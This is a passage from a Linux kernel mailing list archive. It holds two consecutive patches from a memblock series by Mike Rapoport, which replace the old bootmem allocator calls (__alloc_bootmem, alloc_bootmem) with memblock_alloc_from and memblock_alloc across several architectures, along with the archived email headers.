 arch/alpha/kernel/core_cia.c  |  2 +-
 arch/alpha/kernel/pci_iommu.c |  4 ++--
 arch/alpha/kernel/setup.c     |  2 +-
 arch/ia64/kernel/mca.c        |  4 ++--
 arch/ia64/mm/contig.c         |  5 +++--
 arch/mips/kernel/traps.c      |  2 +-
 arch/sparc/kernel/prom_32.c   |  2 +-
 arch/sparc/kernel/smp_64.c    | 10 +++++-----
 arch/sparc/mm/init_32.c       |  2 +-
 arch/sparc/mm/init_64.c       |  9 ++++++---
 arch/sparc/mm/srmmu.c         | 10 +++++-----
 include/linux/bootmem.h       |  8 ++++++++
 12 files changed, 36 insertions(+), 24 deletions(-)

diff --git a/arch/alpha/kernel/core_cia.c b/arch/alpha/kernel/core_cia.c
index 4b38386..026ee95 100644
--- a/arch/alpha/kernel/core_cia.c
+++ b/arch/alpha/kernel/core_cia.c
@@ -331,7 +331,7 @@ cia_prepare_tbia_workaround(int window)
 	long i;
 
 	/* Use minimal 1K map. */
-	ppte = __alloc_bootmem(CIA_BROKEN_TBIA_SIZE, 32768, 0);
+	ppte = memblock_alloc_from(CIA_BROKEN_TBIA_SIZE, 32768, 0);
 	pte = (virt_to_phys(ppte) >> (PAGE_SHIFT - 1)) | 1;
 
 	for (i = 0; i < CIA_BROKEN_TBIA_SIZE / sizeof(unsigned long); ++i)
diff --git a/arch/alpha/kernel/pci_iommu.c b/arch/alpha/kernel/pci_iommu.c
index b52d76f..0c05493 100644
--- a/arch/alpha/kernel/pci_iommu.c
+++ b/arch/alpha/kernel/pci_iommu.c
@@ -87,13 +87,13 @@ iommu_arena_new_node(int nid, struct pci_controller *hose, dma_addr_t base,
 		printk("%s: couldn't allocate arena ptes from node %d\n"
 		       "    falling back to system-wide allocation\n",
 		       __func__, nid);
-		arena->ptes = __alloc_bootmem(mem_size, align, 0);
+		arena->ptes = memblock_alloc_from(mem_size, align, 0);
 	}
 
 #else /* CONFIG_DISCONTIGMEM */
 
 	arena = alloc_bootmem(sizeof(*arena));
-	arena->ptes = __alloc_bootmem(mem_size, align, 0);
+	arena->ptes = memblock_alloc_from(mem_size, align, 0);
 
 #endif /* CONFIG_DISCONTIGMEM */
 
diff --git a/arch/alpha/kernel/setup.c b/arch/alpha/kernel/setup.c
index 4f0d944..64c06a0 100644
--- a/arch/alpha/kernel/setup.c
+++ b/arch/alpha/kernel/setup.c
@@ -294,7 +294,7 @@ move_initrd(unsigned long mem_limit)
 	unsigned long size;
 
 	size = initrd_end - initrd_start;
-	start = __alloc_bootmem(PAGE_ALIGN(size), PAGE_SIZE, 0);
+	start = memblock_alloc_from(PAGE_ALIGN(size), PAGE_SIZE, 0);
 	if (!start || __pa(start) + size > mem_limit) {
 		initrd_start = initrd_end = 0;
 		return NULL;
diff --git a/arch/ia64/kernel/mca.c b/arch/ia64/kernel/mca.c
index 6115464..5586926 100644
--- a/arch/ia64/kernel/mca.c
+++ b/arch/ia64/kernel/mca.c
@@ -1835,8 +1835,8 @@ format_mca_init_stack(void *mca_data, unsigned long offset,
 /* Caller prevents this from being called after init */
 static void * __ref mca_bootmem(void)
 {
-	return __alloc_bootmem(sizeof(struct ia64_mca_cpu),
-	                    KERNEL_STACK_SIZE, 0);
+	return memblock_alloc_from(sizeof(struct ia64_mca_cpu),
+				   KERNEL_STACK_SIZE, 0);
 }
 
 /* Do per-CPU MCA-related initialization.  */
diff --git a/arch/ia64/mm/contig.c b/arch/ia64/mm/contig.c
index e2e40bb..9e5c23a 100644
--- a/arch/ia64/mm/contig.c
+++ b/arch/ia64/mm/contig.c
@@ -85,8 +85,9 @@ void *per_cpu_init(void)
 static inline void
 alloc_per_cpu_data(void)
 {
-	cpu_data = __alloc_bootmem(PERCPU_PAGE_SIZE * num_possible_cpus(),
-				   PERCPU_PAGE_SIZE, __pa(MAX_DMA_ADDRESS));
+	cpu_data = memblock_alloc_from(PERCPU_PAGE_SIZE * num_possible_cpus(),
+				       PERCPU_PAGE_SIZE,
+				       __pa(MAX_DMA_ADDRESS));
 }
 
 /**
diff --git a/arch/mips/kernel/traps.c b/arch/mips/kernel/traps.c
index 5feef28..623dc18 100644
--- a/arch/mips/kernel/traps.c
+++ b/arch/mips/kernel/traps.c
@@ -2263,7 +2263,7 @@ void __init trap_init(void)
 
 		memblock_set_bottom_up(true);
 		ebase = (unsigned long)
-			__alloc_bootmem(size, 1 << fls(size), 0);
+			memblock_alloc_from(size, 1 << fls(size), 0);
 		memblock_set_bottom_up(false);
 
 		/*
diff --git a/arch/sparc/kernel/prom_32.c b/arch/sparc/kernel/prom_32.c
index b51cbb9..4389944 100644
--- a/arch/sparc/kernel/prom_32.c
+++ b/arch/sparc/kernel/prom_32.c
@@ -32,7 +32,7 @@ void * __init prom_early_alloc(unsigned long size)
 {
 	void *ret;
 
-	ret = __alloc_bootmem(size, SMP_CACHE_BYTES, 0UL);
+	ret = memblock_alloc_from(size, SMP_CACHE_BYTES, 0UL);
 	if (ret != NULL)
 		memset(ret, 0, size);
 
diff --git a/arch/sparc/kernel/smp_64.c b/arch/sparc/kernel/smp_64.c
index 83ff88d..337febd 100644
--- a/arch/sparc/kernel/smp_64.c
+++ b/arch/sparc/kernel/smp_64.c
@@ -1588,7 +1588,7 @@ static void * __init pcpu_alloc_bootmem(unsigned int cpu, size_t size,
 	void *ptr;
 
 	if (!node_online(node) || !NODE_DATA(node)) {
-		ptr = __alloc_bootmem(size, align, goal);
+		ptr = memblock_alloc_from(size, align, goal);
 		pr_info("cpu %d has no node %d or node-local memory\n",
 			cpu, node);
 		pr_debug("per cpu data for cpu%d %lu bytes at %016lx\n",
@@ -1601,7 +1601,7 @@ static void * __init pcpu_alloc_bootmem(unsigned int cpu, size_t size,
 	}
 	return ptr;
 #else
-	return __alloc_bootmem(size, align, goal);
+	return memblock_alloc_from(size, align, goal);
 #endif
 }
 
@@ -1627,7 +1627,7 @@ static void __init pcpu_populate_pte(unsigned long addr)
 	if (pgd_none(*pgd)) {
 		pud_t *new;
 
-		new = __alloc_bootmem(PAGE_SIZE, PAGE_SIZE, PAGE_SIZE);
+		new = memblock_alloc_from(PAGE_SIZE, PAGE_SIZE, PAGE_SIZE);
 		pgd_populate(&init_mm, pgd, new);
 	}
 
@@ -1635,7 +1635,7 @@ static void __init pcpu_populate_pte(unsigned long addr)
 	if (pud_none(*pud)) {
 		pmd_t *new;
 
-		new = __alloc_bootmem(PAGE_SIZE, PAGE_SIZE, PAGE_SIZE);
+		new = memblock_alloc_from(PAGE_SIZE, PAGE_SIZE, PAGE_SIZE);
 		pud_populate(&init_mm, pud, new);
 	}
 
@@ -1643,7 +1643,7 @@ static void __init pcpu_populate_pte(unsigned long addr)
 	if (!pmd_present(*pmd)) {
 		pte_t *new;
 
-		new = __alloc_bootmem(PAGE_SIZE, PAGE_SIZE, PAGE_SIZE);
+		new = memblock_alloc_from(PAGE_SIZE, PAGE_SIZE, PAGE_SIZE);
 		pmd_populate_kernel(&init_mm, pmd, new);
 	}
 }
diff --git a/arch/sparc/mm/init_32.c b/arch/sparc/mm/init_32.c
index 92634d4..885dd38 100644
--- a/arch/sparc/mm/init_32.c
+++ b/arch/sparc/mm/init_32.c
@@ -265,7 +265,7 @@ void __init mem_init(void)
 	i = last_valid_pfn >> ((20 - PAGE_SHIFT) + 5);
 	i += 1;
 	sparc_valid_addr_bitmap = (unsigned long *)
-		__alloc_bootmem(i << 2, SMP_CACHE_BYTES, 0UL);
+		memblock_alloc_from(i << 2, SMP_CACHE_BYTES, 0UL);
 
 	if (sparc_valid_addr_bitmap == NULL) {
 		prom_printf("mem_init: Cannot alloc valid_addr_bitmap.\n");
diff --git a/arch/sparc/mm/init_64.c b/arch/sparc/mm/init_64.c
index 578ec3d..51cd583 100644
--- a/arch/sparc/mm/init_64.c
+++ b/arch/sparc/mm/init_64.c
@@ -1810,7 +1810,8 @@ static unsigned long __ref kernel_map_range(unsigned long pstart,
 		if (pgd_none(*pgd)) {
 			pud_t *new;
 
-			new = __alloc_bootmem(PAGE_SIZE, PAGE_SIZE, PAGE_SIZE);
+			new = memblock_alloc_from(PAGE_SIZE, PAGE_SIZE,
+						  PAGE_SIZE);
 			alloc_bytes += PAGE_SIZE;
 			pgd_populate(&init_mm, pgd, new);
 		}
@@ -1822,7 +1823,8 @@ static unsigned long __ref kernel_map_range(unsigned long pstart,
 				vstart = kernel_map_hugepud(vstart, vend, pud);
 				continue;
 			}
-			new = __alloc_bootmem(PAGE_SIZE, PAGE_SIZE, PAGE_SIZE);
+			new = memblock_alloc_from(PAGE_SIZE, PAGE_SIZE,
+						  PAGE_SIZE);
 			alloc_bytes += PAGE_SIZE;
 			pud_populate(&init_mm, pud, new);
 		}
@@ -1835,7 +1837,8 @@ static unsigned long __ref kernel_map_range(unsigned long pstart,
 				vstart = kernel_map_hugepmd(vstart, vend, pmd);
 				continue;
 			}
-			new = __alloc_bootmem(PAGE_SIZE, PAGE_SIZE, PAGE_SIZE);
+			new = memblock_alloc_from(PAGE_SIZE, PAGE_SIZE,
+						  PAGE_SIZE);
 			alloc_bytes += PAGE_SIZE;
 			pmd_populate_kernel(&init_mm, pmd, new);
 		}
diff --git a/arch/sparc/mm/srmmu.c b/arch/sparc/mm/srmmu.c
index be9cb00..b48fea5 100644
--- a/arch/sparc/mm/srmmu.c
+++ b/arch/sparc/mm/srmmu.c
@@ -303,13 +303,13 @@ static void __init srmmu_nocache_init(void)
 
 	bitmap_bits = srmmu_nocache_size >> SRMMU_NOCACHE_BITMAP_SHIFT;
 
-	srmmu_nocache_pool = __alloc_bootmem(srmmu_nocache_size,
-		SRMMU_NOCACHE_ALIGN_MAX, 0UL);
+	srmmu_nocache_pool = memblock_alloc_from(srmmu_nocache_size,
+						 SRMMU_NOCACHE_ALIGN_MAX, 0UL);
 	memset(srmmu_nocache_pool, 0, srmmu_nocache_size);
 
 	srmmu_nocache_bitmap =
-		__alloc_bootmem(BITS_TO_LONGS(bitmap_bits) * sizeof(long),
-				SMP_CACHE_BYTES, 0UL);
+		memblock_alloc_from(BITS_TO_LONGS(bitmap_bits) * sizeof(long),
+				    SMP_CACHE_BYTES, 0UL);
 	bit_map_init(&srmmu_nocache_map, srmmu_nocache_bitmap, bitmap_bits);
 
 	srmmu_swapper_pg_dir = __srmmu_get_nocache(SRMMU_PGD_TABLE_SIZE, SRMMU_PGD_TABLE_SIZE);
@@ -467,7 +467,7 @@ static void __init sparc_context_init(int numctx)
 	unsigned long size;
 
 	size = numctx * sizeof(struct ctx_list);
-	ctx_list_pool = __alloc_bootmem(size, SMP_CACHE_BYTES, 0UL);
+	ctx_list_pool = memblock_alloc_from(size, SMP_CACHE_BYTES, 0UL);
 
 	for (ctx = 0; ctx < numctx; ctx++) {
 		struct ctx_list *clist;
diff --git a/include/linux/bootmem.h b/include/linux/bootmem.h
index 3896af2..c97c105 100644
--- a/include/linux/bootmem.h
+++ b/include/linux/bootmem.h
@@ -122,6 +122,14 @@ static inline void * __init memblock_alloc_raw(
 					    NUMA_NO_NODE);
 }
 
+static inline void * __init memblock_alloc_from(
+		phys_addr_t size, phys_addr_t align, phys_addr_t min_addr)
+{
+	return memblock_alloc_try_nid(size, align, min_addr,
+				      BOOTMEM_ALLOC_ACCESSIBLE,
+				      NUMA_NO_NODE);
+}
+
 static inline void * __init memblock_alloc_nopanic(
 					phys_addr_t size, phys_addr_t align)
 {
-- 
2.7.4

From - Thu Nov 08 21:41:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.riscv,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 21/30] memblock: replace alloc_bootmem with memblock_alloc
Date: Fri, 14 Sep 2018 15:10:36 +0300
Lines: 330
Approved: news@gmane.org
Message-ID: <1536927045-23536-22-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927128 1797 195.159.176.226 (14 Sep 2018 12:12:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:12:08 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Sep 14 14:12:00 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1g0mx5-0000FL-0V
	for gla-linux-snps-arc@m.gmane.org; Fri, 14 Sep 2018 14:11:59 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=CKps+MWk0VUHu2PbB9SZ+GyTPR8yHR+d4g0bAswqh0Y=; b=APkT0LNCuRjG9SbY3empgFlcBl
	b2QPQVFIW9zbpEpVxG6X4xcjLsI7nFohRXOW7+xveKkNfEilODEK2C1eaZ34kOccegLG09OXvuraD
	8leL4xhEK7r1xSWjkERaFzCRy7L4//JWjbXJPoMJlduP0nQnS/wj7Eo1yS+pwUKi5U/+jwxyPm5b6
	KNchv3uSqSwKYSU8W1KWadnoULp4swSXQUQ+xICBk9O1vSUoImVvkPvWGi1BnDMPwvrOSDecBVEiI
	k2KVx/EV4qGFhWEhoQW3PFglPHjsT+3sfoHLHKwDQnHbxq+NyYdjHljyOLMW4TX8XjXWeVq9JA0RE
	9q7AHNYQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0mz6-0004uz-G1; Fri, 14 Sep 2018 12:14:04 +0000
Original-Received: from mx0a-001b2d01.pphosted.com ([148.163.156.1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0myP-0004TL-Jb
 for linux-snps-arc@lists.infradead.org; Fri, 14 Sep 2018 12:13:32 +0000
Original-Received: from pps.filterd (m0098399.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC5VcX048502
 for <linux-snps-arc@lists.infradead.org>; Fri, 14 Sep 2018 08:13:19 -0400
Original-Received: from e06smtp03.uk.ibm.com (e06smtp03.uk.ibm.com [195.75.94.99])
 by mx0a-001b2d01.pphosted.com with ESMTP id 2mgak1wy01-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-snps-arc@lists.infradead.org>; Fri, 14 Sep 2018 08:13:18 -0400
Original-Received: from localhost
 by e06smtp03.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-snps-arc@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:13:13 +0100
Original-Received: from b06cxnps3075.portsmouth.uk.ibm.com (9.149.109.195)
 by e06smtp03.uk.ibm.com (192.168.101.133) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:13:01 +0100
Original-Received: from d06av22.portsmouth.uk.ibm.com (d06av22.portsmouth.uk.ibm.com
 [9.149.105.58])
 by b06cxnps3075.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECD0IS44171314
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:13:00 GMT
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 524794C050;
 Fri, 14 Sep 2018 15:12:50 +0100 (BST)
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 26FAD4C040;
 Fri, 14 Sep 2018 15:12:45 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av22.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:12:45 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:12:54 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0012-0000-0000-000002A8D43A
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0013-0000-0000-000020DD1EFE
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=1 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_051321_837074_7F71DB31 
X-CRM114-Status: GOOD (  26.13  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.156.1 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4359 gmane.linux.kernel.mm:203332 gmane.linux.ports.mips.general:66634 gmane.linux.ports.ia64:29229 gmane.linux.ports.sh.devel:57505 gmane.linux.ports.sparc:28417 gmane.linux.ports.hexagon:1846 gmane.linux.ports.riscv:796 gmane.linux.ports.alpha:5235 gmane.linux.ports.arm.kernel:674204 gmane.linux.ports.parisc:28957 gmane.linux.kernel:2870777 gmane.linux.ports.ppc64.devel:162492
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4359>

The alloc_bootmem(size) is a shortcut for allocation of SMP_CACHE_BYTES
aligned memory. When the align parameter of memblock_alloc() is 0, the
alignment is implicitly set to SMP_CACHE_BYTES and thus alloc_bootmem(size)
and memblock_alloc(size, 0) are equivalent.

The conversion is done using the following semantic patch:

@@
expression size;
@@
- alloc_bootmem(size)
+ memblock_alloc(size, 0)

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
---
 arch/alpha/kernel/core_marvel.c     | 4 ++--
 arch/alpha/kernel/pci-noop.c        | 4 ++--
 arch/alpha/kernel/pci.c             | 4 ++--
 arch/alpha/kernel/pci_iommu.c       | 4 ++--
 arch/ia64/kernel/mca.c              | 4 ++--
 arch/ia64/mm/tlb.c                  | 4 ++--
 arch/m68k/sun3/sun3dvma.c           | 3 ++-
 arch/microblaze/mm/init.c           | 2 +-
 arch/mips/kernel/setup.c            | 2 +-
 arch/um/drivers/net_kern.c          | 2 +-
 arch/um/drivers/vector_kern.c       | 2 +-
 arch/um/kernel/initrd.c             | 2 +-
 arch/x86/kernel/acpi/boot.c         | 3 ++-
 arch/x86/kernel/apic/io_apic.c      | 2 +-
 arch/x86/kernel/e820.c              | 2 +-
 arch/x86/platform/olpc/olpc_dt.c    | 2 +-
 arch/xtensa/platforms/iss/network.c | 2 +-
 drivers/macintosh/smu.c             | 2 +-
 init/main.c                         | 4 ++--
 19 files changed, 28 insertions(+), 26 deletions(-)

diff --git a/arch/alpha/kernel/core_marvel.c b/arch/alpha/kernel/core_marvel.c
index bdebb8c2..1f00c94 100644
--- a/arch/alpha/kernel/core_marvel.c
+++ b/arch/alpha/kernel/core_marvel.c
@@ -82,7 +82,7 @@ mk_resource_name(int pe, int port, char *str)
 	char *name;
 	
 	sprintf(tmp, "PCI %s PE %d PORT %d", str, pe, port);
-	name = alloc_bootmem(strlen(tmp) + 1);
+	name = memblock_alloc(strlen(tmp) + 1, 0);
 	strcpy(name, tmp);
 
 	return name;
@@ -117,7 +117,7 @@ alloc_io7(unsigned int pe)
 		return NULL;
 	}
 
-	io7 = alloc_bootmem(sizeof(*io7));
+	io7 = memblock_alloc(sizeof(*io7), 0);
 	io7->pe = pe;
 	raw_spin_lock_init(&io7->irq_lock);
 
diff --git a/arch/alpha/kernel/pci-noop.c b/arch/alpha/kernel/pci-noop.c
index c7c5879..59cbfc2 100644
--- a/arch/alpha/kernel/pci-noop.c
+++ b/arch/alpha/kernel/pci-noop.c
@@ -33,7 +33,7 @@ alloc_pci_controller(void)
 {
 	struct pci_controller *hose;
 
-	hose = alloc_bootmem(sizeof(*hose));
+	hose = memblock_alloc(sizeof(*hose), 0);
 
 	*hose_tail = hose;
 	hose_tail = &hose->next;
@@ -44,7 +44,7 @@ alloc_pci_controller(void)
 struct resource * __init
 alloc_resource(void)
 {
-	return alloc_bootmem(sizeof(struct resource));
+	return memblock_alloc(sizeof(struct resource), 0);
 }
 
 SYSCALL_DEFINE3(pciconfig_iobase, long, which, unsigned long, bus,
diff --git a/arch/alpha/kernel/pci.c b/arch/alpha/kernel/pci.c
index c668c3b..4cc3eb9 100644
--- a/arch/alpha/kernel/pci.c
+++ b/arch/alpha/kernel/pci.c
@@ -392,7 +392,7 @@ alloc_pci_controller(void)
 {
 	struct pci_controller *hose;
 
-	hose = alloc_bootmem(sizeof(*hose));
+	hose = memblock_alloc(sizeof(*hose), 0);
 
 	*hose_tail = hose;
 	hose_tail = &hose->next;
@@ -403,7 +403,7 @@ alloc_pci_controller(void)
 struct resource * __init
 alloc_resource(void)
 {
-	return alloc_bootmem(sizeof(struct resource));
+	return memblock_alloc(sizeof(struct resource), 0);
 }
 
 
diff --git a/arch/alpha/kernel/pci_iommu.c b/arch/alpha/kernel/pci_iommu.c
index 0c05493..5d178c7 100644
--- a/arch/alpha/kernel/pci_iommu.c
+++ b/arch/alpha/kernel/pci_iommu.c
@@ -79,7 +79,7 @@ iommu_arena_new_node(int nid, struct pci_controller *hose, dma_addr_t base,
 		printk("%s: couldn't allocate arena from node %d\n"
 		       "    falling back to system-wide allocation\n",
 		       __func__, nid);
-		arena = alloc_bootmem(sizeof(*arena));
+		arena = memblock_alloc(sizeof(*arena), 0);
 	}
 
 	arena->ptes = memblock_alloc_node(sizeof(*arena), align, nid);
@@ -92,7 +92,7 @@ iommu_arena_new_node(int nid, struct pci_controller *hose, dma_addr_t base,
 
 #else /* CONFIG_DISCONTIGMEM */
 
-	arena = alloc_bootmem(sizeof(*arena));
+	arena = memblock_alloc(sizeof(*arena), 0);
 	arena->ptes = memblock_alloc_from(mem_size, align, 0);
 
 #endif /* CONFIG_DISCONTIGMEM */
diff --git a/arch/ia64/kernel/mca.c b/arch/ia64/kernel/mca.c
index 5586926..7120976 100644
--- a/arch/ia64/kernel/mca.c
+++ b/arch/ia64/kernel/mca.c
@@ -361,9 +361,9 @@ static ia64_state_log_t ia64_state_log[IA64_MAX_LOG_TYPES];
 
 #define IA64_LOG_ALLOCATE(it, size) \
 	{ia64_state_log[it].isl_log[IA64_LOG_CURR_INDEX(it)] = \
-		(ia64_err_rec_t *)alloc_bootmem(size); \
+		(ia64_err_rec_t *)memblock_alloc(size, 0); \
 	ia64_state_log[it].isl_log[IA64_LOG_NEXT_INDEX(it)] = \
-		(ia64_err_rec_t *)alloc_bootmem(size);}
+		(ia64_err_rec_t *)memblock_alloc(size, 0);}
 #define IA64_LOG_LOCK_INIT(it) spin_lock_init(&ia64_state_log[it].isl_lock)
 #define IA64_LOG_LOCK(it)      spin_lock_irqsave(&ia64_state_log[it].isl_lock, s)
 #define IA64_LOG_UNLOCK(it)    spin_unlock_irqrestore(&ia64_state_log[it].isl_lock,s)
diff --git a/arch/ia64/mm/tlb.c b/arch/ia64/mm/tlb.c
index acf10eb..5554863 100644
--- a/arch/ia64/mm/tlb.c
+++ b/arch/ia64/mm/tlb.c
@@ -59,8 +59,8 @@ struct ia64_tr_entry *ia64_idtrs[NR_CPUS];
 void __init
 mmu_context_init (void)
 {
-	ia64_ctx.bitmap = alloc_bootmem((ia64_ctx.max_ctx+1)>>3);
-	ia64_ctx.flushmap = alloc_bootmem((ia64_ctx.max_ctx+1)>>3);
+	ia64_ctx.bitmap = memblock_alloc((ia64_ctx.max_ctx + 1) >> 3, 0);
+	ia64_ctx.flushmap = memblock_alloc((ia64_ctx.max_ctx + 1) >> 3, 0);
 }
 
 /*
diff --git a/arch/m68k/sun3/sun3dvma.c b/arch/m68k/sun3/sun3dvma.c
index 8546922..72d9458 100644
--- a/arch/m68k/sun3/sun3dvma.c
+++ b/arch/m68k/sun3/sun3dvma.c
@@ -267,7 +267,8 @@ void __init dvma_init(void)
 
 	list_add(&(hole->list), &hole_list);
 
-	iommu_use = alloc_bootmem(IOMMU_TOTAL_ENTRIES * sizeof(unsigned long));
+	iommu_use = memblock_alloc(IOMMU_TOTAL_ENTRIES * sizeof(unsigned long),
+				   0);
 
 	dvma_unmap_iommu(DVMA_START, DVMA_SIZE);
 
diff --git a/arch/microblaze/mm/init.c b/arch/microblaze/mm/init.c
index df6de7c..8c7f074 100644
--- a/arch/microblaze/mm/init.c
+++ b/arch/microblaze/mm/init.c
@@ -377,7 +377,7 @@ void * __ref zalloc_maybe_bootmem(size_t size, gfp_t mask)
 	if (mem_init_done)
 		p = kzalloc(size, mask);
 	else {
-		p = alloc_bootmem(size);
+		p = memblock_alloc(size, 0);
 		if (p)
 			memset(p, 0, size);
 	}
diff --git a/arch/mips/kernel/setup.c b/arch/mips/kernel/setup.c
index a717c90..a6bc2f6 100644
--- a/arch/mips/kernel/setup.c
+++ b/arch/mips/kernel/setup.c
@@ -909,7 +909,7 @@ static void __init resource_init(void)
 		if (end >= HIGHMEM_START)
 			end = HIGHMEM_START - 1;
 
-		res = alloc_bootmem(sizeof(struct resource));
+		res = memblock_alloc(sizeof(struct resource), 0);
 
 		res->start = start;
 		res->end = end;
diff --git a/arch/um/drivers/net_kern.c b/arch/um/drivers/net_kern.c
index 3ef1b48..ef19a39 100644
--- a/arch/um/drivers/net_kern.c
+++ b/arch/um/drivers/net_kern.c
@@ -650,7 +650,7 @@ static int __init eth_setup(char *str)
 		return 1;
 	}
 
-	new = alloc_bootmem(sizeof(*new));
+	new = memblock_alloc(sizeof(*new), 0);
 
 	INIT_LIST_HEAD(&new->list);
 	new->index = n;
